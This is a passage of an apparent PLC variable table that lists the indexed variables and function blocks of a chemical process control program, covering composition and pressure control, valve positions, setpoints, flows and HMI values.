+88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; 